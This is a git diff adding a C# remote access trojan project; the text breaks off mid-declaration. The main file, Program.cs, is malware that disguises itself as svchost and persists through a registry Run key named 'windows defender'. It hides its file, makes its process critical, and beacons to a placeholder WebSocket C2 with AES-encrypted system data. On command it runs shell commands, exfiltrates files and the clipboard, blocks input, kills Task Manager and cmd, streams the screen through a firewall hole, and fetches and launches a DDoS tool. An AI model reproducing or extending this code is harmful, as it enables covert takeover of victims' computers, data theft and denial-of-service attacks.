diff --git a/C# Part/.vs/App/DesignTimeBuild/.dtbcache.v2 b/C# Part/.vs/App/DesignTimeBuild/.dtbcache.v2 new file mode 100644 index 0000000..319f42b Binary files /dev/null and b/C# Part/.vs/App/DesignTimeBuild/.dtbcache.v2 differ diff --git a/C# Part/.vs/App/FileContentIndex/2a48e62e-bd6c-4579-b680-2a6096ef4c1b.vsidx b/C# Part/.vs/App/FileContentIndex/2a48e62e-bd6c-4579-b680-2a6096ef4c1b.vsidx new file mode 100644 index 0000000..1936c73 Binary files /dev/null and b/C# Part/.vs/App/FileContentIndex/2a48e62e-bd6c-4579-b680-2a6096ef4c1b.vsidx differ diff --git a/C# Part/.vs/App/FileContentIndex/2ce2bbf3-4077-4277-beda-fcfdd3562053.vsidx b/C# Part/.vs/App/FileContentIndex/2ce2bbf3-4077-4277-beda-fcfdd3562053.vsidx new file mode 100644 index 0000000..00b3461 Binary files /dev/null and b/C# Part/.vs/App/FileContentIndex/2ce2bbf3-4077-4277-beda-fcfdd3562053.vsidx differ diff --git a/C# Part/.vs/App/FileContentIndex/2ffd057b-6443-47f6-a60b-da791dfaf2ee.vsidx b/C# Part/.vs/App/FileContentIndex/2ffd057b-6443-47f6-a60b-da791dfaf2ee.vsidx new file mode 100644 index 0000000..da18717 Binary files /dev/null and b/C# Part/.vs/App/FileContentIndex/2ffd057b-6443-47f6-a60b-da791dfaf2ee.vsidx differ diff --git a/C# Part/.vs/App/FileContentIndex/e189db94-2388-4882-b7fa-51e50c2c41ec.vsidx b/C# Part/.vs/App/FileContentIndex/e189db94-2388-4882-b7fa-51e50c2c41ec.vsidx new file mode 100644 index 0000000..2ebaef0 Binary files /dev/null and b/C# Part/.vs/App/FileContentIndex/e189db94-2388-4882-b7fa-51e50c2c41ec.vsidx differ diff --git a/C# Part/.vs/App/FileContentIndex/read.lock b/C# Part/.vs/App/FileContentIndex/read.lock new file mode 100644 index 0000000..e69de29 diff --git a/C# Part/.vs/App/v17/.futdcache.v2 b/C# Part/.vs/App/v17/.futdcache.v2 new file mode 100644 index 0000000..356770f Binary files /dev/null and b/C# Part/.vs/App/v17/.futdcache.v2 differ diff --git a/C# Part/.vs/App/v17/.suo b/C# Part/.vs/App/v17/.suo new file mode 100644 index 0000000..3c63b2a Binary files /dev/null and b/C# Part/.vs/App/v17/.suo differ diff --git a/C# Part/.vs/ProjectEvaluation/app.metadata.v5.2 b/C# Part/.vs/ProjectEvaluation/app.metadata.v5.2 new file mode 100644 index 0000000..a7ee9b7 Binary files /dev/null and b/C# Part/.vs/ProjectEvaluation/app.metadata.v5.2 differ diff --git a/C# Part/.vs/ProjectEvaluation/app.metadata.v6.1 b/C# Part/.vs/ProjectEvaluation/app.metadata.v6.1 new file mode 100644 index 0000000..af769a4 Binary files /dev/null and b/C# Part/.vs/ProjectEvaluation/app.metadata.v6.1 differ diff --git a/C# Part/.vs/ProjectEvaluation/app.projects.v5.2 b/C# Part/.vs/ProjectEvaluation/app.projects.v5.2 new file mode 100644 index 0000000..91f7f56 Binary files /dev/null and b/C# Part/.vs/ProjectEvaluation/app.projects.v5.2 differ diff --git a/C# Part/.vs/ProjectEvaluation/app.projects.v6.1 b/C# Part/.vs/ProjectEvaluation/app.projects.v6.1 new file mode 100644 index 0000000..eeec2e2 Binary files /dev/null and b/C# Part/.vs/ProjectEvaluation/app.projects.v6.1 differ diff --git a/C# Part/App.csproj b/C# Part/App.csproj new file mode 100644 index 0000000..20de6e5 --- /dev/null +++ b/C# Part/App.csproj @@ -0,0 +1,36 @@ + + + + Exe + net6.0 + enable + enable + True + svchost + svchost + + + + + tlbimp + 1 + 1 + 1ea4dbf0-3c3b-11cf-810c-00aa00389b71 + 0 + false + true + + + + + + + + + + + + + + + diff --git a/C# Part/App.csproj.user b/C# Part/App.csproj.user new file mode 100644 index 0000000..e7577d0 --- /dev/null +++ b/C# Part/App.csproj.user @@ -0,0 +1,6 @@ + + + + <_LastSelectedProfileId>D:\Projects\Rat C#\App\Properties\PublishProfiles\FolderProfile.pubxml + + \ No newline at end of file diff --git a/C# Part/App.sln b/C# Part/App.sln new file mode 100644 index 0000000..71c4bfa --- /dev/null +++ b/C# Part/App.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.4.33205.214 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "App", "App.csproj", "{463AC43A-7641-4957-B5EB-9A62BDF9C551}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {463AC43A-7641-4957-B5EB-9A62BDF9C551}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {463AC43A-7641-4957-B5EB-9A62BDF9C551}.Debug|Any CPU.Build.0 = Debug|Any CPU + {463AC43A-7641-4957-B5EB-9A62BDF9C551}.Release|Any CPU.ActiveCfg = Release|Any CPU + {463AC43A-7641-4957-B5EB-9A62BDF9C551}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F59BBBE2-6829-47BE-AD97-D09B17340CB3} + EndGlobalSection +EndGlobal diff --git a/C# Part/MqOA10.Tlb b/C# Part/MqOA10.Tlb new file mode 100644 index 0000000..cd9fae1 Binary files /dev/null and b/C# Part/MqOA10.Tlb differ diff --git a/C# Part/MqOA20.Tlb b/C# Part/MqOA20.Tlb new file mode 100644 index 0000000..543ddbc Binary files /dev/null and b/C# Part/MqOA20.Tlb differ diff --git a/C# Part/MsXml.Tlb b/C# Part/MsXml.Tlb new file mode 100644 index 0000000..e5e7147 Binary files /dev/null and b/C# Part/MsXml.Tlb differ diff --git a/C# Part/NetFW.TLB b/C# Part/NetFW.TLB new file mode 100644 index 0000000..6628a0f Binary files /dev/null and b/C# Part/NetFW.TLB differ diff --git a/C# Part/Program.cs b/C# Part/Program.cs new file mode 100644 index 0000000..5aa3175 --- /dev/null +++ b/C# Part/Program.cs @@ -0,0 +1,959 @@ +using System.Net.WebSockets; +using System.Runtime.InteropServices; +using System.Text; +using System.Security.Cryptography; +using Newtonsoft.Json; +using System.Diagnostics; +using Microsoft.Win32; +using System.Net; +using System.Management; +using TextCopy; +using System.Drawing; +using WebSocketSharp; +using WebSocketSharp.Server; +using System.Collections.Concurrent; +using System.Drawing.Imaging; + + +class svchost +{ + public static bool runStartup = true; + public static class ProcessProtection + { + [DllImport("ntdll.dll", SetLastError = true)] + private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3); + private static volatile bool s_isProtected = false; + private static ReaderWriterLockSlim s_isProtectedLock = new ReaderWriterLockSlim(); + + public static bool IsProtected + { + get + { + try + { + s_isProtectedLock.EnterReadLock(); + + return s_isProtected; + } + finally + { + s_isProtectedLock.ExitReadLock(); + } + } + } + + public static void Protect() + { + try + { + s_isProtectedLock.EnterWriteLock(); + + if (!s_isProtected) + { + System.Diagnostics.Process.EnterDebugMode(); + RtlSetProcessIsCritical(1, 0, 0); + s_isProtected = true; + } + } + finally + { + s_isProtectedLock.ExitWriteLock(); + } + } + + public static void Unprotect() + { + try + { + s_isProtectedLock.EnterWriteLock(); + + if (s_isProtected) + { + RtlSetProcessIsCritical(0, 0, 0); + s_isProtected = false; + } + } + finally + { + s_isProtectedLock.ExitWriteLock(); + } + } + } + + class Crypt + { + private string key = "%Mq3t*&1T$C&F)JH"; + public string Encrypt(string plaintext) + { + byte[] keyBytes = Encoding.UTF8.GetBytes(key); + byte[] plaintextBytes = Encoding.UTF8.GetBytes(plaintext); + byte[] iv = Encoding.UTF8.GetBytes("A+.8(SASD@#^DFAE"); + + using (Aes aes = Aes.Create()) + { + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + aes.Key = keyBytes; + aes.IV = iv; + + ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV); + + byte[] ciphertext = encryptor.TransformFinalBlock(plaintextBytes, 0, plaintextBytes.Length); + + return Convert.ToBase64String(ciphertext); + } + } + + public string Decrypt(string encodedText) + { + byte[] keyBytes = Encoding.UTF8.GetBytes(key); + byte[] ciphertext = Convert.FromBase64String(encodedText); + byte[] iv = Encoding.UTF8.GetBytes("A+.8(SASD@#^DFAE"); + + using (Aes aes = Aes.Create()) + { + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + aes.Key = keyBytes; + aes.IV = iv; + + ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV); + + byte[] plaintextBytes = decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length); + + return Encoding.UTF8.GetString(plaintextBytes); + } + } + } + public static string RunCommand(string command) + { + ProcessStartInfo psi = new ProcessStartInfo(); + psi.FileName = "cmd.exe"; + psi.Arguments = "/c "+command; + psi.UseShellExecute = false; + psi.RedirectStandardOutput = true; + psi.RedirectStandardError = true; + psi.CreateNoWindow = true; + + Process p = new Process(); + p.StartInfo = psi; + p.Start(); + + string output = p.StandardOutput.ReadToEnd(); + string error = p.StandardError.ReadToEnd(); + + p.WaitForExit(); + return error + output; + } + + + + static void runOnstartup() + { + string name = Process.GetCurrentProcess().ProcessName + ".exe"; + string appName = "windows defender"; + string appPath = "C:\\Users\\Public\\Pictures\\" + name; + + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); + + try + { + // Add your program to the startup folder + registryKey.SetValue(appName, appPath); + } + catch (Exception ex) + { + + } + } + + static void deleteOnstartup() + { + string name = Process.GetCurrentProcess().ProcessName + ".exe"; + string appName = "windows defender"; + string appPath = "C:\\Users\\Public\\Pictures\\" + name; + + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); + + try + { + // Add your program to the startup folder + registryKey.DeleteValue(appName, false); + } + catch (Exception ex) + { + + } + } + + + public static string GetGPUName() + { + try + { + string gpuName = "Unknown"; + ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT Name FROM Win32_VideoController"); + + foreach (ManagementObject obj in searcher.Get()) + { + gpuName = obj["Name"].ToString(); + break; // Get the first GPU name and break out of the loop + } + + return gpuName; + }catch + { + return "None"; + } + + } + public static string ExtractUserNames() + { + var wmiQuery = new SelectQuery("Win32_UserAccount"); + var searcher = new ManagementObjectSearcher(wmiQuery); + var results = searcher.Get(); + + var username = ""; + foreach (var result in results) + { + string us = result["Name"].ToString(); + if (us == "DefaultAccount" || us == "WDAGUtilityAccount" || us == "Guest") + { + + } + else + { + username += us + ", "; + } + + } + return username; + } + + + + public static string GetGPUMemorySize() + { + try + { + string gpuMemorySize = "Unknown"; + ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT AdapterRAM FROM Win32_VideoController"); + + foreach (ManagementObject obj in searcher.Get()) + { + ulong ramBytes = (ulong)obj["AdapterRAM"]; + double ramMegabytes = ramBytes / 1024.0 / 1024.0; + gpuMemorySize = $"{ramMegabytes:N2} MB"; + break; // Get the first GPU size and break out of the loop + } + + return gpuMemorySize; + } + catch + { + return "None"; + } + } + + + [StructLayout(LayoutKind.Sequential)] + public struct MEMORYSTATUSEX + { + public uint dwLength; + public uint dwMemoryLoad; + public ulong ullTotalPhys; + public ulong ullAvailPhys; + public ulong ullTotalPageFile; + public ulong ullAvailPageFile; + public ulong ullTotalVirtual; + public ulong ullAvailVirtual; + public ulong ullAvailExtendedVirtual; + public void Init() + { + dwLength = checked((uint)Marshal.SizeOf(typeof(MEMORYSTATUSEX))); + } + } + + [DllImport("kernel32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer); + public static string system_info() + { + dynamic data = new { }; + try + { + int cpuCount = 0; + + // cpu count + try + { + cpuCount = Environment.ProcessorCount; + }catch(Exception) { } + + // cpu usage + + float cpuUsage = 0; + try + { + var cpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total"); + cpuUsage = cpuCounter.NextValue(); + Thread.Sleep(1000); + cpuUsage = cpuCounter.NextValue(); + }catch(Exception) { } + + //cou model + var cpumodel = ""; + try + { + var searcher = new ManagementObjectSearcher("select * from Win32_Processor"); + + foreach (ManagementObject obj in searcher.Get()) + { + cpumodel = obj["Name"].ToString(); + break; + } + } + catch + { + + } + + + // ram usage + double memoryUsedInGB = 0; + + try + { + Process currentProcess = Process.GetCurrentProcess(); + long memoryUsed = currentProcess.WorkingSet64; + memoryUsedInGB += (double)memoryUsed / 1073741824; + } + catch + { + + } + // ram slots + + int slots = 0; + try + { + ManagementObjectSearcher search = new ManagementObjectSearcher("SELECT * FROM Win32_PhysicalMemoryArray"); + foreach (ManagementObject obj in search.Get()) + { + slots += Convert.ToInt32(obj["MemoryDevices"]); + } + } + catch + { + + } + + // ram size + + string ram_size = ""; + try + { + MEMORYSTATUSEX memStatus = new MEMORYSTATUSEX(); + memStatus.Init(); + if (GlobalMemoryStatusEx(ref memStatus)) + { + double totalMemoryInGB = (double)memStatus.ullTotalPhys / 1073741824; + ram_size = string.Format("{0:N2} GB", totalMemoryInGB); + } + else + { + Console.WriteLine("Failed to retrieve memory status."); + } + } + catch + { + + } + + OperatingSystem os = Environment.OSVersion; + TimeSpan uptime = TimeSpan.FromMilliseconds(Environment.TickCount); + + data = new + { + os = os.VersionString + os.Platform, + cpu_usage = cpuUsage, + cpu_count = cpuCount, + cpu_model = cpumodel, + ram_size = ram_size, + ram_usage = memoryUsedInGB, + ram_slot_count = slots, + gpu_name = GetGPUName(), + gpu_size = GetGPUMemorySize(), + usernames = ExtractUserNames(), + uptime = uptime.ToString(@"dd\.hh\:mm\:ss") + }; + } + catch (Exception ex) { Console.WriteLine(ex.Message + "\n\n" + ex.StackTrace); } + return JsonConvert.SerializeObject(data); + } + + static void HideWindow() + { + [DllImport("kernel32.dll")] + static extern IntPtr GetConsoleWindow(); + + [DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + const int SW_HIDE = 0; + const int SW_SHOW = 5; + var handle = GetConsoleWindow(); + ShowWindow(handle, SW_HIDE); + + } + + public static void downloadDDOS(string url) + { + string fileName = "C:\\Users\\Public\\Pictures\\run.exe"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = "GET"; + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + using (Stream responseStream = response.GetResponseStream()) + using (FileStream fileStream = new FileStream(fileName, FileMode.Create)) + { + // Read the response information and write it to the file + byte[] buffer = new byte[4096]; + int bytesRead; + while ((bytesRead = responseStream.Read(buffer, 0, buffer.Length)) > 0) + { + fileStream.Write(buffer, 0, bytesRead); + } + } + response.Dispose(); + } + + public static void RunDDos(string url , string thread, string time) + { + RunCommand("\"C:\\Users\\Public\\Pictures\\run.exe\" " + url + " " + thread + " " + time); + } + public static bool cmdKiller = false; + public static bool tskKiller = false; + + static void runStart() + { + + while (runStartup) + { + if (!ProcessProtection.IsProtected) + { + ProcessProtection.Protect(); + } + runOnstartup(); + + + Process[] processes = Process.GetProcesses(); + foreach (Process process in processes) + { + + if (tskKiller) + { + if (process.ProcessName.ToLower().StartsWith("taskmgr")) + { + process.Kill(); + } + } + if (cmdKiller) + { + if (process.ProcessName.ToLower().StartsWith("cmd")) + { + process.Kill(); + } + + if (process.ProcessName.ToLower().StartsWith("conhost")) + { + process.Kill(); + } + } + } + + + + Thread.Sleep(300); + } + } + + public static async Task websooo() + { + var webSocket = new ClientWebSocket(); + await webSocket.ConnectAsync(new Uri("wss://yourdomain.com"), default); + Console.WriteLine("Connected"); + Crypt AES = new Crypt(); + // send connect + dynamic tes222 = JsonConvert.DeserializeObject("{ \"action\" : \"start\" }"); + tes222["info"] = system_info(); + string jsonString22 = AES.Encrypt(JsonConvert.SerializeObject(tes222)); + byte[] messageBytes22 = Encoding.UTF8.GetBytes(jsonString22); + await webSocket.SendAsync(new ArraySegment(messageBytes22), WebSocketMessageType.Text, true, default); + // + byte[] buffer = new byte[10000000]; + while (true) + { + var result = await webSocket.ReceiveAsync(new ArraySegment(buffer), default); + if (result.MessageType == WebSocketMessageType.Text) + { + string receivedMessage = Encoding.UTF8.GetString(buffer, 0, result.Count); + dynamic okdata = JsonConvert.DeserializeObject(AES.Decrypt(receivedMessage)); + if (okdata.action == "cmd") + { + string datacmd = RunCommand(Convert.ToString(okdata.command)); + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"cmd\" }"); + tes["result"] = datacmd; + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + + } + else if (okdata.action == "getinfo") + { + + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"getinfo\" }"); + tes["info"] = system_info(); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + + }else if (okdata.action == "download") + { + using (var fileStream = new FileStream(Convert.ToString(okdata.path), FileMode.Open, FileAccess.Read, FileShare.Read)) + { + var buffer3 = new byte[8192]; + int bytesRead; + + while ((bytesRead = fileStream.Read(buffer3, 0, buffer3.Length)) > 0) + { + byte[] data = new byte[bytesRead]; + Array.Copy(buffer3, data, bytesRead); + + await webSocket.SendAsync(new ArraySegment(Encoding.UTF8.GetBytes( + AES.Encrypt(JsonConvert.SerializeObject(new + { + action = "savedownload", + data = Convert.ToBase64String(data), + path = Convert.ToString(okdata.path), + user_id = Convert.ToString(okdata.user_id) + })) + )), WebSocketMessageType.Text, true, CancellationToken.None); + } + + await webSocket.SendAsync(new ArraySegment(Encoding.UTF8.GetBytes( + AES.Encrypt(JsonConvert.SerializeObject(new + { + action = "enddownload", + path = Convert.ToString(okdata.path), + user_id = Convert.ToString(okdata.user_id) + })) + )), WebSocketMessageType.Text, true, CancellationToken.None); ; + } + + }else if (okdata.action == "upload") + { + byte[] data = Convert.FromBase64String(Convert.ToString(okdata.data).ToString()); + using (FileStream fileStream = new FileStream(Convert.ToString(okdata.path), FileMode.Append)) + { + fileStream.Write(data, 0, data.Length); + } + }else if (okdata.action == "lockinput") + { + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool BlockInput([MarshalAs(UnmanagedType.Bool)] bool fBlockIt); + BlockInput(true); + + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"lockinput\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + } + else if (okdata.action == "unlockinput") + { + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool BlockInput([MarshalAs(UnmanagedType.Bool)] bool fBlockIt); + BlockInput(false); + + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"unlockinput\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + }else if (okdata.action == "ddos") + { + downloadDDOS(Convert.ToString(okdata.url_download)); + Thread ddosThread = new Thread(() => RunDDos(Convert.ToString(okdata.url), Convert.ToString(okdata.thread), Convert.ToString(okdata.time))); + ddosThread.Start(); + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"ddos\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + }else if (okdata.action == "selfdestroy") + { + runStartup = false; + Thread.Sleep(1000); + deleteOnstartup(); + ProcessProtection.Unprotect(); + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"selfdestroy\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + File.Delete("C:\\Users\\Public\\Pictures\\run.exe"); + try + { + string name = Process.GetCurrentProcess().ProcessName + ".exe"; + File.Delete("C:\\Users\\Public\\Pictures\\"+ name); + } + catch + { + + } + Process.GetCurrentProcess().Kill(); + }else if (okdata.action == "getclipboard") + { + string clipboardText = ClipboardService.GetText(); + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"getclipboard\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + tes["data"] = clipboardText; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + } + else if (okdata.action == "setclipboard") + { + ClipboardService.SetText(Convert.ToString(okdata.data)); + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"setclipboard\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + }else if (okdata.action == "tskmgrkillon") + { + tskKiller = true; + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"tskmgrkillon\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + } + else if (okdata.action == "tskmgrkilloff") + { + tskKiller = false; + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"tskmgrkilloff\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + } + else if (okdata.action == "cmdkillon") + { + cmdKiller = true; + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"cmdkillon\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + } + else if (okdata.action == "cmdkilloff") + { + cmdKiller = false; + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"cmdkilloff\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + }else if (okdata.action == "streamviewon") + { + runWebsocketVnc(); + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"streamviewon\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + } + else if (okdata.action == "streamviewoff") + { + stopWebsocketVnc(); + dynamic tes = JsonConvert.DeserializeObject("{ \"action\" : \"streamviewoff\" }"); + tes["user_id"] = okdata.user_id; + tes["msg_id"] = okdata.msg_id; + string jsonString = AES.Encrypt(JsonConvert.SerializeObject(tes)); + byte[] messageBytes = Encoding.UTF8.GetBytes(jsonString); + await webSocket.SendAsync(new ArraySegment(messageBytes), WebSocketMessageType.Text, true, default); + } + + + } + else if (result.MessageType == WebSocketMessageType.Close) + { + break; + } + } + await webSocket.CloseAsync(WebSocketCloseStatus.NormalClosure, "", default); + } + + + static async Task Main(string[] args) + { + Console.SetWindowSize(1, 1); + HideWindow(); + string name = Process.GetCurrentProcess().ProcessName + ".exe"; + RunCommand("copy " + name + " \"C:\\Users\\Public\\Pictures\\\""); + RunCommand("attrib +h +a \"C:\\Users\\Public\\Pictures\\" + name + "\""); + RunCommand("attrib +h +a \"" + name + "\""); + ProcessProtection.Protect(); + Thread thread = new Thread(new ThreadStart(runStart)); + thread.Start(); + + while (true) + { + try + { + await websooo(); + Thread.Sleep(1000); + } + catch + { + + } + } + + } + + + + public static WebSocketServer server; + public static byte[] screenshotBytes; + public static bool isRunVnc; + public static void sendVnc() + { + PrintScreen test = new PrintScreen(); + + byte[] screenshotBytes = test.CaptureScreen2(); + + while (isRunVnc) + { + byte[] screenshotBytesNew = test.CaptureScreen2(); + if (!Convert.ToBase64String(screenshotBytesNew).Equals(Convert.ToBase64String(screenshotBytes))) + { + screenshotBytes = screenshotBytesNew; + MyService.SendToAll(screenshotBytes); + } + + Thread.Sleep(500); + } + + } + public static void runWebsocketVnc() + { + RunCommand("netsh advfirewall firewall add rule name = \"TCP Port 5000\" dir =in action = allow protocol = TCP localport = 5000 && netsh advfirewall firewall add rule name = \"TCP Port 5000\" dir = out action = allow protocol = TCP localport = 5000"); + server = new WebSocketServer(IPAddress.Any, 5000); + server.AddWebSocketService("/"); + server.Start(); + isRunVnc = true; + Thread vncimage = new Thread(new ThreadStart(sendVnc)); + vncimage.Start(); + } + + public static void stopWebsocketVnc() + { + + isRunVnc = false; + Thread.Sleep(2000); + server.Stop(); + + } + + public class PrintScreen + { + /// + /// Creates an Image object containing a screen shot of the entire desktop + /// + /// + /// + public byte[] CaptureScreen2() + { + byte[] bytes; + using (MemoryStream ms = new MemoryStream()) + { + CaptureWindow(User32.GetDesktopWindow()).Save(ms, ImageFormat.Jpeg); + bytes = ms.ToArray(); + } + return bytes; + } + public Image CaptureScreen() + { + return CaptureWindow(User32.GetDesktopWindow()); + } + + /// + /// Creates an Image object containing a screen shot of a specific window + /// + /// The handle to the window. (In windows forms, this is obtained by the Handle property) + /// + public Image CaptureWindow(IntPtr handle) + { + // get te hDC of the target window + IntPtr hdcSrc = User32.GetWindowDC(handle); + // get the size + User32.RECT windowRect = new User32.RECT(); + User32.GetWindowRect(handle, ref windowRect); + int width = windowRect.right - windowRect.left; + int height = windowRect.bottom - windowRect.top; + // create a device context we can copy to + IntPtr hdcDest = GDI32.CreateCompatibleDC(hdcSrc); + // create a bitmap we can copy it to, + // using GetDeviceCaps to get the width/height + IntPtr hBitmap = GDI32.CreateCompatibleBitmap(hdcSrc, width, height); + // select the bitmap object + IntPtr hOld = GDI32.SelectObject(hdcDest, hBitmap); + // bitblt over + GDI32.BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, GDI32.SRCCOPY); + // restore selection + GDI32.SelectObject(hdcDest, hOld); + // clean up + GDI32.DeleteDC(hdcDest); + User32.ReleaseDC(handle, hdcSrc); + + // get a .NET image object for it + Image img = Image.FromHbitmap(hBitmap); + // free up the Bitmap object + GDI32.DeleteObject(hBitmap); + + return img; + } + + /// + /// Captures a screen shot of a specific window, and saves it to a file + /// + /// + /// + /// + public void CaptureWindowToFile(IntPtr handle, string filename, ImageFormat format) + { + Image img = CaptureWindow(handle); + img.Save(filename, format); + } + + /// + /// Captures a screen shot of the entire desktop, and saves it to a file + /// + /// + /// + public void CaptureScreenToFile(string filename, ImageFormat format) + { + Image img = CaptureScreen(); + img.Save(filename, format); + } + + /// + /// Helper class containing Gdi32 API functions + /// + private class GDI32 + { + + public const int SRCCOPY = 0x00CC0020; // BitBlt dwRop parameter + + [DllImport("gdi32.dll")] + public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest, + int nWidth, int nHeight, IntPtr hObjectSource, + int nXSrc, int nYSrc, int dwRop); + [DllImport("gdi32.dll")] + public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC, int nWidth, + int nHeight); + [DllImport("gdi32.dll")] + public static extern IntPtr CreateCompatibleDC(IntPtr hDC); + [DllImport("gdi32.dll")] + public static extern bool DeleteDC(IntPtr hDC); + [DllImport("gdi32.dll")] + public static extern bool DeleteObject(IntPtr hObject); + [DllImport("gdi32.dll")] + public static extern IntPtr SelectObject(IntPtr hDC, IntPtr hObject); + } + + /// + /// Helper class containing User32 API functions + /// + private class User32 + { + [StructLayout(LayoutKind.Sequential)] + public struct RECT + { + public int left; + public int top; + public int right; + public int bottom; + } + + [DllImport("user32.dll")] + public static extern IntPtr GetDesktopWindow(); + [DllImport("user32.dll")] + public static 